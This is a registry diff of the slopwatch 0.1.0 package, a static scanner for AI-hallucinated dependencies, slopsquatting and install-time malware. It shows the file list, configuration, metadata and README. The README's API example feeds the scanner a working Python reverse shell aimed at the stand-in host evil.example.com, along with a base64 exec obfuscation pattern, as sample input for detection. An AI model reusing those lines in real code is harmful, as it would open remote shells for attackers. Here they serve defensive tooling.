slopwatch 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- slopwatch-0.1.0/.pre-commit-hooks.yaml +14 -0
- slopwatch-0.1.0/LICENSE +17 -0
- slopwatch-0.1.0/MANIFEST.in +9 -0
- slopwatch-0.1.0/PKG-INFO +325 -0
- slopwatch-0.1.0/README.md +278 -0
- slopwatch-0.1.0/pyproject.toml +87 -0
- slopwatch-0.1.0/requirements.txt +14 -0
- slopwatch-0.1.0/setup.cfg +4 -0
- slopwatch-0.1.0/src/slopwatch/__init__.py +67 -0
- slopwatch-0.1.0/src/slopwatch/adapters/__init__.py +20 -0
- slopwatch-0.1.0/src/slopwatch/adapters/base.py +47 -0
- slopwatch-0.1.0/src/slopwatch/adapters/npm.py +307 -0
- slopwatch-0.1.0/src/slopwatch/adapters/pypi.py +377 -0
- slopwatch-0.1.0/src/slopwatch/assessor/__init__.py +14 -0
- slopwatch-0.1.0/src/slopwatch/assessor/npm_manifest.py +95 -0
- slopwatch-0.1.0/src/slopwatch/assessor/npm_source.py +443 -0
- slopwatch-0.1.0/src/slopwatch/assessor/python_ast.py +832 -0
- slopwatch-0.1.0/src/slopwatch/assessor/scorer.py +1137 -0
- slopwatch-0.1.0/src/slopwatch/assessor/yara_engine.py +311 -0
- slopwatch-0.1.0/src/slopwatch/cli.py +689 -0
- slopwatch-0.1.0/src/slopwatch/core/brands.py +122 -0
- slopwatch-0.1.0/src/slopwatch/core/budget.py +67 -0
- slopwatch-0.1.0/src/slopwatch/core/cache.py +150 -0
- slopwatch-0.1.0/src/slopwatch/core/config.py +123 -0
- slopwatch-0.1.0/src/slopwatch/core/dto.py +178 -0
- slopwatch-0.1.0/src/slopwatch/core/exceptions.py +33 -0
- slopwatch-0.1.0/src/slopwatch/core/freshness.py +70 -0
- slopwatch-0.1.0/src/slopwatch/core/normalizers.py +98 -0
- slopwatch-0.1.0/src/slopwatch/core/signals.py +587 -0
- slopwatch-0.1.0/src/slopwatch/core/taxonomies.py +291 -0
- slopwatch-0.1.0/src/slopwatch/db/engine.py +134 -0
- slopwatch-0.1.0/src/slopwatch/db/models.py +202 -0
- slopwatch-0.1.0/src/slopwatch/db/repository.py +1117 -0
- slopwatch-0.1.0/src/slopwatch/detectors/__init__.py +29 -0
- slopwatch-0.1.0/src/slopwatch/detectors/base.py +169 -0
- slopwatch-0.1.0/src/slopwatch/detectors/engine.py +74 -0
- slopwatch-0.1.0/src/slopwatch/detectors/suspicious_description.py +67 -0
- slopwatch-0.1.0/src/slopwatch/linter/lockfile.py +459 -0
- slopwatch-0.1.0/src/slopwatch/matrix/__init__.py +13 -0
- slopwatch-0.1.0/src/slopwatch/matrix/generator.py +93 -0
- slopwatch-0.1.0/src/slopwatch/py.typed +0 -0
- slopwatch-0.1.0/src/slopwatch/rules/credentials.yar +203 -0
- slopwatch-0.1.0/src/slopwatch/rules/evasion.yar +58 -0
- slopwatch-0.1.0/src/slopwatch/rules/execution.yar +228 -0
- slopwatch-0.1.0/src/slopwatch/rules/exfiltration.yar +134 -0
- slopwatch-0.1.0/src/slopwatch/rules/index.yar +9 -0
- slopwatch-0.1.0/src/slopwatch/rules/obfuscation.yar +64 -0
- slopwatch-0.1.0/src/slopwatch/rules/persistence.yar +58 -0
- slopwatch-0.1.0/src/slopwatch/rules/supply_chain.yar +69 -0
- slopwatch-0.1.0/src/slopwatch/rules/worm_droppers.yar +100 -0
- slopwatch-0.1.0/src/slopwatch/signatures/parking_hashes.json +24 -0
- slopwatch-0.1.0/src/slopwatch.egg-info/PKG-INFO +325 -0
- slopwatch-0.1.0/src/slopwatch.egg-info/SOURCES.txt +76 -0
- slopwatch-0.1.0/src/slopwatch.egg-info/dependency_links.txt +1 -0
- slopwatch-0.1.0/src/slopwatch.egg-info/entry_points.txt +2 -0
- slopwatch-0.1.0/src/slopwatch.egg-info/requires.txt +18 -0
- slopwatch-0.1.0/src/slopwatch.egg-info/top_level.txt +1 -0
- slopwatch-0.1.0/tests/fixtures/__init__.py +0 -0
- slopwatch-0.1.0/tests/fixtures/yara_samples/__init__.py +0 -0
- slopwatch-0.1.0/tests/fixtures/yara_samples/rule_samples.py +513 -0
- slopwatch-0.1.0/tests/public/unit/test_adapters.py +401 -0
- slopwatch-0.1.0/tests/public/unit/test_assessor.py +951 -0
- slopwatch-0.1.0/tests/public/unit/test_brands.py +33 -0
- slopwatch-0.1.0/tests/public/unit/test_budget.py +35 -0
- slopwatch-0.1.0/tests/public/unit/test_cache.py +70 -0
- slopwatch-0.1.0/tests/public/unit/test_config.py +14 -0
- slopwatch-0.1.0/tests/public/unit/test_detectors.py +108 -0
- slopwatch-0.1.0/tests/public/unit/test_dto.py +110 -0
- slopwatch-0.1.0/tests/public/unit/test_freshness.py +47 -0
- slopwatch-0.1.0/tests/public/unit/test_leak_sanitization.py +276 -0
- slopwatch-0.1.0/tests/public/unit/test_linter.py +241 -0
- slopwatch-0.1.0/tests/public/unit/test_matrix.py +52 -0
- slopwatch-0.1.0/tests/public/unit/test_normalizers.py +46 -0
- slopwatch-0.1.0/tests/public/unit/test_repository.py +457 -0
- slopwatch-0.1.0/tests/public/unit/test_scorer.py +1125 -0
- slopwatch-0.1.0/tests/public/unit/test_signals.py +138 -0
- slopwatch-0.1.0/tests/public/unit/test_slopwatch_api.py +171 -0
- slopwatch-0.1.0/tests/public/unit/test_yara_scanner.py +310 -0
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
- id: slopwatch-check
|
|
2
|
+
name: SlopWatch Dependency Check
|
|
3
|
+
description: Scan dependency manifests for hallucinated packages and slopsquatting traps
|
|
4
|
+
entry: slopwatch check
|
|
5
|
+
language: python
|
|
6
|
+
files: (requirements.*\.txt|pyproject\.toml|Pipfile|poetry\.lock|package\.json|package-lock\.json|yarn\.lock|pnpm-lock\.yaml)$
|
|
7
|
+
pass_filenames: true
|
|
8
|
+
|
|
9
|
+
- id: slopwatch-audit
|
|
10
|
+
name: SlopWatch Source Audit
|
|
11
|
+
description: Statically audit code files with AST and YARA rules for weaponized traps
|
|
12
|
+
entry: slopwatch audit .
|
|
13
|
+
language: python
|
|
14
|
+
pass_filenames: false
|
slopwatch-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
Apache License
|
|
2
|
+
Version 2.0, January 2004
|
|
3
|
+
http://www.apache.org/licenses/
|
|
4
|
+
|
|
5
|
+
Copyright 2026 SlopWatch Authors
|
|
6
|
+
|
|
7
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
8
|
+
you may not use this file except in compliance with the License.
|
|
9
|
+
You may obtain a copy of the License at
|
|
10
|
+
|
|
11
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
12
|
+
|
|
13
|
+
Unless required by applicable law or agreed to in writing, software
|
|
14
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
15
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
16
|
+
See the License for the specific language governing permissions and
|
|
17
|
+
limitations under the License.
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
include LICENSE
|
|
2
|
+
include README.md
|
|
3
|
+
include pyproject.toml
|
|
4
|
+
include requirements.txt
|
|
5
|
+
include .pre-commit-hooks.yaml
|
|
6
|
+
include src/slopwatch/py.typed
|
|
7
|
+
recursive-include src/slopwatch/rules *.yar
|
|
8
|
+
recursive-include src/slopwatch/signatures *.json
|
|
9
|
+
recursive-include tests *.py *.json
|
slopwatch-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,325 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: slopwatch
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Deterministic Zero-LLM AI package hallucination, slopsquatting, and supply chain threat auditor.
|
|
5
|
+
Author: Royans K
|
|
6
|
+
License-Expression: Apache-2.0
|
|
7
|
+
Project-URL: Homepage, https://github.com/royans/slopwatch/
|
|
8
|
+
Project-URL: Documentation, https://github.com/royans/slopwatch/#readme
|
|
9
|
+
Project-URL: Repository, https://github.com/royans/slopwatch/
|
|
10
|
+
Project-URL: Issues, https://github.com/royans/slopwatch/issues
|
|
11
|
+
Keywords: security,supply-chain,malware-analysis,ast-analysis,yara,typosquatting,phantom-squatting,ai-hallucination,dependency-auditing
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Environment :: Console
|
|
14
|
+
Classifier: Intended Audience :: Developers
|
|
15
|
+
Classifier: Intended Audience :: Information Technology
|
|
16
|
+
Classifier: Intended Audience :: System Administrators
|
|
17
|
+
Classifier: Operating System :: OS Independent
|
|
18
|
+
Classifier: Programming Language :: Python :: 3
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
21
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
22
|
+
Classifier: Topic :: Security
|
|
23
|
+
Classifier: Topic :: Software Development :: Build Tools
|
|
24
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
25
|
+
Classifier: Typing :: Typed
|
|
26
|
+
Requires-Python: >=3.11
|
|
27
|
+
Description-Content-Type: text/markdown
|
|
28
|
+
License-File: LICENSE
|
|
29
|
+
Requires-Dist: aiohttp>=3.9.0
|
|
30
|
+
Requires-Dist: aiodns>=3.1.0
|
|
31
|
+
Requires-Dist: aiosqlite>=0.19.0
|
|
32
|
+
Requires-Dist: sqlalchemy[asyncio]>=2.0.0
|
|
33
|
+
Requires-Dist: pydantic>=2.5.0
|
|
34
|
+
Requires-Dist: pyyaml>=6.0
|
|
35
|
+
Requires-Dist: rich>=13.7.0
|
|
36
|
+
Requires-Dist: click>=8.1.0
|
|
37
|
+
Requires-Dist: dnspython>=2.5.0
|
|
38
|
+
Requires-Dist: yara-python>=4.5.0
|
|
39
|
+
Provides-Extra: dev
|
|
40
|
+
Requires-Dist: pytest>=8.0.0; extra == "dev"
|
|
41
|
+
Requires-Dist: pytest-asyncio>=0.23.0; extra == "dev"
|
|
42
|
+
Requires-Dist: pytest-mock>=3.12.0; extra == "dev"
|
|
43
|
+
Requires-Dist: aioresponses>=0.7.6; extra == "dev"
|
|
44
|
+
Requires-Dist: build>=1.0.0; extra == "dev"
|
|
45
|
+
Requires-Dist: twine>=5.0.0; extra == "dev"
|
|
46
|
+
Dynamic: license-file
|
|
47
|
+
|
|
48
|
+
# π‘οΈ SlopWatch: Zero-LLM AI Hallucination & Supply Chain Threat Auditor
|
|
49
|
+
|
|
50
|
+
[](https://github.com/royans/slopwatch/actions/workflows/ci.yml)
|
|
51
|
+
[](https://pypi.org/project/slopwatch/)
|
|
52
|
+
[](https://pypi.org/project/slopwatch/)
|
|
53
|
+
[](https://opensource.org/licenses/Apache-2.0)
|
|
54
|
+
[](#architecture)
|
|
55
|
+
|
|
56
|
+
**SlopWatch** is a fast, deterministic supply chain security scanner for Python (PyPI) and JavaScript (npm) packages and lockfiles.
|
|
57
|
+
|
|
58
|
+
> **Zero-LLM Β· 200ms Scans Β· Zero API Keys Β· Runs Offline**
|
|
59
|
+
|
|
60
|
+
Designed for developers, CI/CD pipelines, and autonomous coding agents, SlopWatch protects against **AI package hallucinations** (when an LLM invents a plausible package name that an attacker registers) and **install-time execution traps** (`setup.py` hooks, `.pth` startup implants, npm lifecycle scripts) *before* dependencies touch your machine.
|
|
61
|
+
|
|
62
|
+
> **Live Audits**: SlopWatch was developed for the [FlagThis](https://flagthis.com) website. A working live demonstration that performs live supply chain audits and threat intelligence indexing is available at [FlagThis.com](https://flagthis.com).
|
|
63
|
+
|
|
64
|
+
```bash
|
|
65
|
+
# β‘ Try it in 10 seconds (no config, no API keys)
|
|
66
|
+
pip install slopwatch
|
|
67
|
+
slopwatch check # auto-discovers and checks all manifests in project
|
|
68
|
+
slopwatch audit . # inspect local manifests and source files
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## β‘ Highlights & Key Capabilities
|
|
74
|
+
|
|
75
|
+
* **Zero-LLM Core Engine**: Fully deterministic execution via Python AST inspection, YARA signature scanning, and combinatorial heuristics. Zero probabilistic variance, zero external API costs, and sub-millisecond execution.
|
|
76
|
+
* **Deep Static AST Inspection**: Statically deconstructs Python `setup.py`, `pyproject.toml`, and module source code without dynamic code executionβdetecting hidden reverse shells, raw sockets, eval-obfuscation, and child process execution.
|
|
77
|
+
* **npm Lifecycle Script Analysis**: Analyzes `package.json` hooks (`preinstall`, `install`, `postinstall`) and unpacks JS payloads for suspicious network exfiltration.
|
|
78
|
+
* **Pre-Compiled YARA Threat Engine**: Built-in YARA rules spanning 9 weaponization vectors: credentials, exfiltration, evasion, persistence, supply-chain hooks, and dropper logic.
|
|
79
|
+
* **Phantom Squatting & Typosquat Detection**: Identifies impersonations of high-value brands (Google, AWS, Stripe, Okta, Clerk, Supabase) using Levenshtein distance, token insertion, and delimiter swap heuristics.
|
|
80
|
+
* **AI Hallucination & Package Parking Auditor**: Scans project lockfiles and manifests (`requirements.txt`, `package.json`) to detect hallucinated package names frequently recommended by LLMs that do not exist or are parked by adversaries.
|
|
81
|
+
* **Version Confusion Anomaly Detection**: Surfaces suspicious version jumps (e.g. initial registrations claiming v99.0.0 or v50.0.0) while safely handling legitimate CalVer and date-stamped releases.
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## π Installation & Quickstart
|
|
86
|
+
|
|
87
|
+
Install directly via pip:
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
pip install slopwatch
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
### System Prerequisites
|
|
94
|
+
|
|
95
|
+
SlopWatch uses `yara-python` for high-throughput compiled pattern matching. Most standard environments install pre-built wheels automatically. If installing in an environment requiring source compilation:
|
|
96
|
+
|
|
97
|
+
* **macOS**:
|
|
98
|
+
```bash
|
|
99
|
+
brew install yara
|
|
100
|
+
```
|
|
101
|
+
* **Debian / Ubuntu**:
|
|
102
|
+
```bash
|
|
103
|
+
sudo apt-get update && sudo apt-get install -y python3-dev gcc libssl-dev
|
|
104
|
+
```
|
|
105
|
+
* **Alpine Linux**:
|
|
106
|
+
```bash
|
|
107
|
+
apk add --no-cache python3-dev gcc musl-dev libffi-dev
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### Development Installation
|
|
111
|
+
|
|
112
|
+
To contribute or run from source:
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
git clone https://github.com/royans/slopwatch.git
|
|
116
|
+
cd slopwatch
|
|
117
|
+
|
|
118
|
+
python3 -m venv .venv
|
|
119
|
+
source .venv/bin/activate
|
|
120
|
+
pip install -r requirements.txt
|
|
121
|
+
pip install -e .
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## π» CLI Quickstart
|
|
127
|
+
|
|
128
|
+
The `slopwatch` command-line interface provides fast, rich terminal feedback for auditing and inspecting packages.
|
|
129
|
+
|
|
130
|
+
### 0. Protect a Project in 1 Second (`slopwatch init`)
|
|
131
|
+
Automatically configure project security, install native git pre-commit hooks, and set up CI/CD:
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
slopwatch init
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
* Automatically detects workspace manifests (`requirements.txt`, `pyproject.toml`, `package.json`).
|
|
138
|
+
* Creates `.slopwatch.yaml` (customizable allowlist & alert policies).
|
|
139
|
+
* Installs native `.git/hooks/pre-commit` so AI hallucinations can never be committed.
|
|
140
|
+
* Installs `.github/workflows/slopwatch.yml` for pull request auditing.
|
|
141
|
+
* Runs an immediate baseline audit across all project dependencies.
|
|
142
|
+
|
|
143
|
+
### 1. Check Project Manifests for Hallucinations
|
|
144
|
+
Run `slopwatch check` to automatically discover and audit **all** dependency manifests in your project (Python & npm):
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
slopwatch check # auto-discovers and audits all project manifests
|
|
148
|
+
slopwatch check requirements.txt # or specify an individual file directly
|
|
149
|
+
slopwatch check ./backend # or audit a specific subproject directory
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
* **Supported Manifests**: `requirements*.txt`, `pyproject.toml`, `Pipfile`, `Pipfile.lock`, `poetry.lock`, `package.json`, `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`.
|
|
153
|
+
* **What It Catches**: Hallucinated package names (404s on public registry), brand typosquats, and unpinned direct VCS URLs.
|
|
154
|
+
|
|
155
|
+
### 2. Deep Static AST Inspection of an Upstream Package
|
|
156
|
+
Fetch and statically inspect any published PyPI or npm package without executing its code:
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
slopwatch inspect requests --ecosystem pypi
|
|
160
|
+
slopwatch inspect express --ecosystem npm
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### 3. Statically Scan Local Code or Directory
|
|
164
|
+
Run the AST analyzer and YARA rule engine across any local Python or JavaScript file/directory:
|
|
165
|
+
|
|
166
|
+
```bash
|
|
167
|
+
slopwatch scan ./src
|
|
168
|
+
slopwatch scan setup.py
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### 4. Comprehensive Directory Audit
|
|
172
|
+
Audit an entire project directory, checking source files and manifests simultaneously:
|
|
173
|
+
|
|
174
|
+
```bash
|
|
175
|
+
slopwatch audit .
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
### 5. Engine Diagnostics & Rule Status
|
|
179
|
+
View engine statistics, active YARA rule suites, and loaded parking signatures:
|
|
180
|
+
|
|
181
|
+
```bash
|
|
182
|
+
slopwatch info
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### 6. CI/CD & Pre-Commit Integration
|
|
186
|
+
|
|
187
|
+
SlopWatch supports machine-readable output (`--json`) and Git pre-commit hooks for CI/CD pipelines:
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# Emit structured JSON for CI security gates or dashboard ingestion
|
|
191
|
+
slopwatch check --json
|
|
192
|
+
slopwatch audit . --json
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
Add SlopWatch to your project's `.pre-commit-config.yaml`:
|
|
196
|
+
|
|
197
|
+
```yaml
|
|
198
|
+
repos:
|
|
199
|
+
- repo: https://github.com/royans/slopwatch
|
|
200
|
+
rev: v0.1.0
|
|
201
|
+
hooks:
|
|
202
|
+
- id: slopwatch-check
|
|
203
|
+
- id: slopwatch-audit
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## βοΈ Configuration & Whitelisting
|
|
209
|
+
|
|
210
|
+
SlopWatch is zero-config by default, but supports fine-grained tuning via `.slopwatch.yaml` or `pyproject.toml` (`[tool.slopwatch]`):
|
|
211
|
+
|
|
212
|
+
* **Whitelisting Private Packages (`allowlist`)**: Permit internal company SDKs, private mirrors, or vetted direct VCS URLs.
|
|
213
|
+
* **Alert & Failure Thresholds (`fail_on`)**: Control CI exit code behavior (`CRITICAL`, `HIGH` [default], `MEDIUM`, `ANY`).
|
|
214
|
+
* **Path Ignore Patterns (`ignore_paths`)**: Exclude test fixtures, mock data, or documentation.
|
|
215
|
+
|
|
216
|
+
π **Read the complete [SlopWatch Configuration Guide](docs/CONFIGURATION.md)** for syntax examples, rubric tables, and CI/CD recipes.
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## π Python API Usage
|
|
221
|
+
|
|
222
|
+
SlopWatch can also be integrated directly into your own security tools and CI/CD pipelines:
|
|
223
|
+
|
|
224
|
+
```python
|
|
225
|
+
from slopwatch import YaraPatternScanner, PythonASTAssessor
|
|
226
|
+
|
|
227
|
+
# 1. Scan source code with the YARA threat engine
|
|
228
|
+
scanner = YaraPatternScanner()
|
|
229
|
+
matches = scanner.scan_text('''
|
|
230
|
+
import socket, subprocess, os
|
|
231
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
232
|
+
s.connect(('evil.example.com', 4444))
|
|
233
|
+
os.dup2(s.fileno(), 0)
|
|
234
|
+
subprocess.call(['/bin/sh', '-i'])
|
|
235
|
+
''')
|
|
236
|
+
|
|
237
|
+
for match in matches:
|
|
238
|
+
print(f"Detected: {match['rule']}")
|
|
239
|
+
|
|
240
|
+
# 2. Deep static AST analysis
|
|
241
|
+
assessor = PythonASTAssessor()
|
|
242
|
+
result = assessor.analyze_source("import base64; exec(base64.b64decode('...'))")
|
|
243
|
+
print(f"Threat Score: {result.composite_threat_score}/100")
|
|
244
|
+
print(f"Verdict: {result.verdict}")
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
<a id="architecture"></a>
|
|
250
|
+
## ποΈ Architecture
|
|
251
|
+
|
|
252
|
+
```
|
|
253
|
+
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
254
|
+
β Target Input β
|
|
255
|
+
β (Upstream Package Tarball, Manifest, or Local Source) β
|
|
256
|
+
βββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββ
|
|
257
|
+
β
|
|
258
|
+
βΌ
|
|
259
|
+
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
260
|
+
β Deterministic Analysis Pipeline β
|
|
261
|
+
β β
|
|
262
|
+
β [1] Manifest & Metadata Sizing β
|
|
263
|
+
β - Non-comment LOC & Codebase Tiering β
|
|
264
|
+
β - Publisher Domain Proof vs Free Webmail Domain β
|
|
265
|
+
β β
|
|
266
|
+
β [2] Static AST Deconstruction (Zero Dynamic Execution) β
|
|
267
|
+
β - Python AST: setup.py / pyproject.toml hooks β
|
|
268
|
+
β - npm: package.json install hooks & lifecycle scriptsβ
|
|
269
|
+
β β
|
|
270
|
+
β [3] Pre-Compiled YARA Engine β
|
|
271
|
+
β - 9 Suites: Exfiltration, Shells, Persistence, etc. β
|
|
272
|
+
β β
|
|
273
|
+
β [4] Scoring & Classification Matrix β
|
|
274
|
+
β - Normalized 0-1000 Threat Score β
|
|
275
|
+
β - Verdicts: MALICIOUS | SUSPICIOUS | BENIGN β
|
|
276
|
+
βββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββ
|
|
277
|
+
β
|
|
278
|
+
βΌ
|
|
279
|
+
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
280
|
+
β Output: Structured JSON / Terminal CLI β
|
|
281
|
+
βββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββ
|
|
282
|
+
β
|
|
283
|
+
βΌ
|
|
284
|
+
(Live community audits indexed at https://flagthis.com)
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
---
|
|
288
|
+
|
|
289
|
+
## π What SlopWatch Is & What It Isnβt
|
|
290
|
+
|
|
291
|
+
We believe security tools should be radically honest about their boundaries rather than overcommitting on claims.
|
|
292
|
+
|
|
293
|
+
### β
What SlopWatch IS:
|
|
294
|
+
* **A fast, deterministic first line of defense**: Runs in milliseconds via Python AST, compiled YARA signatures, and Levenshtein distance trees.
|
|
295
|
+
* **A detector for lazy automated weaponization**: Catches install-time socket connects, reverse shells, child process spawns in `setup.py`, malicious `.pth` startup files, Discord webhook exfiltration, and npm `preinstall` stealer payloads.
|
|
296
|
+
* **An auditor for AI package hallucinations**: Checks whether packages suggested by Copilot, Cursor, or ChatGPT actually exist on PyPI/npm or are parked slopsquats waiting for a developer to run `pip install`.
|
|
297
|
+
* **Respectful of maintainers**: Community libraries with ordinary telemetry or standard system calls are evaluated as `BENIGN_COMMUNITY` or `UNVERIFIED_COMMUNITY`. The `MALICIOUS` verdict is strictly reserved for confirmed, active weaponization vectors.
|
|
298
|
+
|
|
299
|
+
### β What SlopWatch IS NOT:
|
|
300
|
+
* **Not an omniscient hypervisor sandbox**: It performs zero dynamic code execution. It will not execute code in a VM or kernel sandbox to observe runtime behavior.
|
|
301
|
+
* **Not a binary decompiler**: If an attacker embeds compiled machine code inside a native `.so`, `.dylib`, or `.node` file, SlopWatch flags the presence of unexpected native binaries (`BUNDLED_NATIVE_BINARY`), but it does not reverse-engineer the compiled C/Rust assembly.
|
|
302
|
+
* **Not a silver bullet**: Static analysis is inherently an adversarial cat-and-mouse game. High-entropy custom runtime encoders or multi-stage split downloaders can be designed to evade static regex. SlopWatch catches the bulk of automated supply chain attacks instantly without the latency, cost, or prompt-injection vulnerabilities of LLMs.
|
|
303
|
+
|
|
304
|
+
---
|
|
305
|
+
|
|
306
|
+
## π€ Contributing
|
|
307
|
+
|
|
308
|
+
Contributions are welcome! Please run our pre-submit gatekeeper before opening a pull request:
|
|
309
|
+
|
|
310
|
+
```bash
|
|
311
|
+
# Install git hooks
|
|
312
|
+
./scripts/install_hooks.sh
|
|
313
|
+
|
|
314
|
+
# Run pre-submit checks manually
|
|
315
|
+
python3 scripts/presubmit.py
|
|
316
|
+
|
|
317
|
+
# Run test suite
|
|
318
|
+
pytest tests/ -v
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
---
|
|
322
|
+
|
|
323
|
+
## π License
|
|
324
|
+
|
|
325
|
+
Licensed under the [Apache License, Version 2.0](LICENSE).
|
|
@@ -0,0 +1,278 @@
|
|
|
1
|
+
# π‘οΈ SlopWatch: Zero-LLM AI Hallucination & Supply Chain Threat Auditor
|
|
2
|
+
|
|
3
|
+
[](https://github.com/royans/slopwatch/actions/workflows/ci.yml)
|
|
4
|
+
[](https://pypi.org/project/slopwatch/)
|
|
5
|
+
[](https://pypi.org/project/slopwatch/)
|
|
6
|
+
[](https://opensource.org/licenses/Apache-2.0)
|
|
7
|
+
[](#architecture)
|
|
8
|
+
|
|
9
|
+
**SlopWatch** is a fast, deterministic supply chain security scanner for Python (PyPI) and JavaScript (npm) packages and lockfiles.
|
|
10
|
+
|
|
11
|
+
> **Zero-LLM Β· 200ms Scans Β· Zero API Keys Β· Runs Offline**
|
|
12
|
+
|
|
13
|
+
Designed for developers, CI/CD pipelines, and autonomous coding agents, SlopWatch protects against **AI package hallucinations** (when an LLM invents a plausible package name that an attacker registers) and **install-time execution traps** (`setup.py` hooks, `.pth` startup implants, npm lifecycle scripts) *before* dependencies touch your machine.
|
|
14
|
+
|
|
15
|
+
> **Live Audits**: SlopWatch was developed for the [FlagThis](https://flagthis.com) website. A working live demonstration that performs live supply chain audits and threat intelligence indexing is available at [FlagThis.com](https://flagthis.com).
|
|
16
|
+
|
|
17
|
+
```bash
|
|
18
|
+
# β‘ Try it in 10 seconds (no config, no API keys)
|
|
19
|
+
pip install slopwatch
|
|
20
|
+
slopwatch check # auto-discovers and checks all manifests in project
|
|
21
|
+
slopwatch audit . # inspect local manifests and source files
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
## β‘ Highlights & Key Capabilities
|
|
27
|
+
|
|
28
|
+
* **Zero-LLM Core Engine**: Fully deterministic execution via Python AST inspection, YARA signature scanning, and combinatorial heuristics. Zero probabilistic variance, zero external API costs, and sub-millisecond execution.
|
|
29
|
+
* **Deep Static AST Inspection**: Statically deconstructs Python `setup.py`, `pyproject.toml`, and module source code without dynamic code executionβdetecting hidden reverse shells, raw sockets, eval-obfuscation, and child process execution.
|
|
30
|
+
* **npm Lifecycle Script Analysis**: Analyzes `package.json` hooks (`preinstall`, `install`, `postinstall`) and unpacks JS payloads for suspicious network exfiltration.
|
|
31
|
+
* **Pre-Compiled YARA Threat Engine**: Built-in YARA rules spanning 9 weaponization vectors: credentials, exfiltration, evasion, persistence, supply-chain hooks, and dropper logic.
|
|
32
|
+
* **Phantom Squatting & Typosquat Detection**: Identifies impersonations of high-value brands (Google, AWS, Stripe, Okta, Clerk, Supabase) using Levenshtein distance, token insertion, and delimiter swap heuristics.
|
|
33
|
+
* **AI Hallucination & Package Parking Auditor**: Scans project lockfiles and manifests (`requirements.txt`, `package.json`) to detect hallucinated package names frequently recommended by LLMs that do not exist or are parked by adversaries.
|
|
34
|
+
* **Version Confusion Anomaly Detection**: Surfaces suspicious version jumps (e.g. initial registrations claiming v99.0.0 or v50.0.0) while safely handling legitimate CalVer and date-stamped releases.
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## π Installation & Quickstart
|
|
39
|
+
|
|
40
|
+
Install directly via pip:
|
|
41
|
+
|
|
42
|
+
```bash
|
|
43
|
+
pip install slopwatch
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### System Prerequisites
|
|
47
|
+
|
|
48
|
+
SlopWatch uses `yara-python` for high-throughput compiled pattern matching. Most standard environments install pre-built wheels automatically. If installing in an environment requiring source compilation:
|
|
49
|
+
|
|
50
|
+
* **macOS**:
|
|
51
|
+
```bash
|
|
52
|
+
brew install yara
|
|
53
|
+
```
|
|
54
|
+
* **Debian / Ubuntu**:
|
|
55
|
+
```bash
|
|
56
|
+
sudo apt-get update && sudo apt-get install -y python3-dev gcc libssl-dev
|
|
57
|
+
```
|
|
58
|
+
* **Alpine Linux**:
|
|
59
|
+
```bash
|
|
60
|
+
apk add --no-cache python3-dev gcc musl-dev libffi-dev
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### Development Installation
|
|
64
|
+
|
|
65
|
+
To contribute or run from source:
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
git clone https://github.com/royans/slopwatch.git
|
|
69
|
+
cd slopwatch
|
|
70
|
+
|
|
71
|
+
python3 -m venv .venv
|
|
72
|
+
source .venv/bin/activate
|
|
73
|
+
pip install -r requirements.txt
|
|
74
|
+
pip install -e .
|
|
75
|
+
